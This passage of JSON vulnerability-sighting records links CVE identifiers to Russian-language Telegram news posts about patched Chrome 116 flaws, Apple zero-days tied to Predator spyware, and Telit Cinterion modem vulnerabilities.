\u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u044d\u0442\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445 \u043d\u0435\u0441\u0443\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0431\u043e\u0435\u0432.\n\n\u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0447\u0442\u043e \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u0432 \u0434\u0440\u0443\u0433\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0447\u0435\u043c \u0447\u0435\u0442\u043a\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0435\u0441\u044c \u0441\u043f\u0435\u043a\u0442\u0440 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u043e.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Telit Cinterion \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0432 \u0441\u0443\u0431\u0431\u043e\u0442\u0443 \u043d\u0430\u00a0\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435.", "creation_timestamp": "2024-05-13T19:01:51.000000Z"}, {"uuid": "6b791b52-b17f-473c-a96a-3a7034798971", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "https://t.me/true_secator/4821", "content": "Google \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Chrome 116.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4761, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 API FedCM (Federated Credential Management).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4762, \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2023-4763, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u00ab\u0441\u0435\u0442\u0438\u00bb Chrome. \u041e\u043d\u0430\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE \u0438\u043b\u0438 DoS, \u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 - \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044d\u0442\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Chrome 116, -  CVE-2023-4764, \u0437\u043f\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 BFCache, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e URL-\u0441\u0442\u0440\u043e\u043a\u0438.\n\nGoogle \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a 116.0.5845.179 \u0434\u043b\u044f macOS \u0438 Linux \u0438 \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.179/.180 \u0434\u043b\u044f Windows.", "creation_timestamp": "2023-09-07T16:20:05.000000Z"}, {"uuid": "046194fb-1eec-4779-84c1-b6ee4d48bb49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4763", "type": "seen", "source": "https://t.me/true_secator/4821", "content": "Google \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Chrome 116.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4761, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 API FedCM (Federated Credential Management).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4762, \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2023-4763, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u00ab\u0441\u0435\u0442\u0438\u00bb Chrome. \u041e\u043d\u0430\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE \u0438\u043b\u0438 DoS, \u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 - \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044d\u0442\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Chrome 116, -  CVE-2023-4764, \u0437\u043f\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 BFCache, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e URL-\u0441\u0442\u0440\u043e\u043a\u0438.\n\nGoogle \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a 116.0.5845.179 \u0434\u043b\u044f macOS \u0438 Linux \u0438 \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.179/.180 \u0434\u043b\u044f Windows.", "creation_timestamp": "2023-09-07T16:20:05.000000Z"}, {"uuid": "a5d8fc88-7919-4a4c-af03-017c45caf657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4761", "type": "seen", "source": "https://t.me/true_secator/4821", "content": "Google \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Chrome 116.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4761, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 API FedCM (Federated Credential Management).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4762, \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2023-4763, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u00ab\u0441\u0435\u0442\u0438\u00bb Chrome. \u041e\u043d\u0430\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE \u0438\u043b\u0438 DoS, \u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 - \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044d\u0442\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Chrome 116, -  CVE-2023-4764, \u0437\u043f\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 BFCache, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e URL-\u0441\u0442\u0440\u043e\u043a\u0438.\n\nGoogle \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a 116.0.5845.179 \u0434\u043b\u044f macOS \u0438 Linux \u0438 \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.179/.180 \u0434\u043b\u044f Windows.", "creation_timestamp": "2023-09-07T16:20:05.000000Z"}, {"uuid": "09e82ce3-e842-49c1-b775-cbcfc657fdd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "https://t.me/true_secator/4885", "content": "\u041f\u043e\u0434\u043a\u0430\u0442\u0438\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0441\u0442\u043e\u043b\u044c \u0441\u0440\u043e\u0447\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0430 Apple \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 0-day \u0432 \u041e\u0421 iPhone, iPad, Mac \u0438 Apple Watch.\n\n\u041a\u0430\u043a \u043d\u0435\u0441\u043b\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0432 \u0441\u0432\u044f\u0437\u0438 \u0443\u0447\u0430\u0441\u0442\u0438\u0435\u043c \u0432 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Citizen Lab \u0438 Google TAG, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2023-41991, CVE-2023-41992 \u0438 CVE-2023-41993 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e spyware Predator \u043e\u0442 Cytrox.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u0441\u0442\u0430\u043b \u0435\u0433\u0438\u043f\u0435\u0442\u0441\u043a\u0438\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a \u0410\u0445\u043c\u0435\u0434 \u0410\u043b\u044c\u0442\u0430\u043d\u0442\u0430\u0432\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0441\u044f \u0430\u0442\u0430\u043a\u0435 \u043f\u043e\u0447\u0442\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u0431\u044a\u044f\u0432\u0438\u043b \u043e \u0432\u044b\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0438 \u0441\u0432\u043e\u0435\u0439 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u0443\u0440\u044b \u0434\u043b\u044f \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0432 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u0449\u0438\u0445 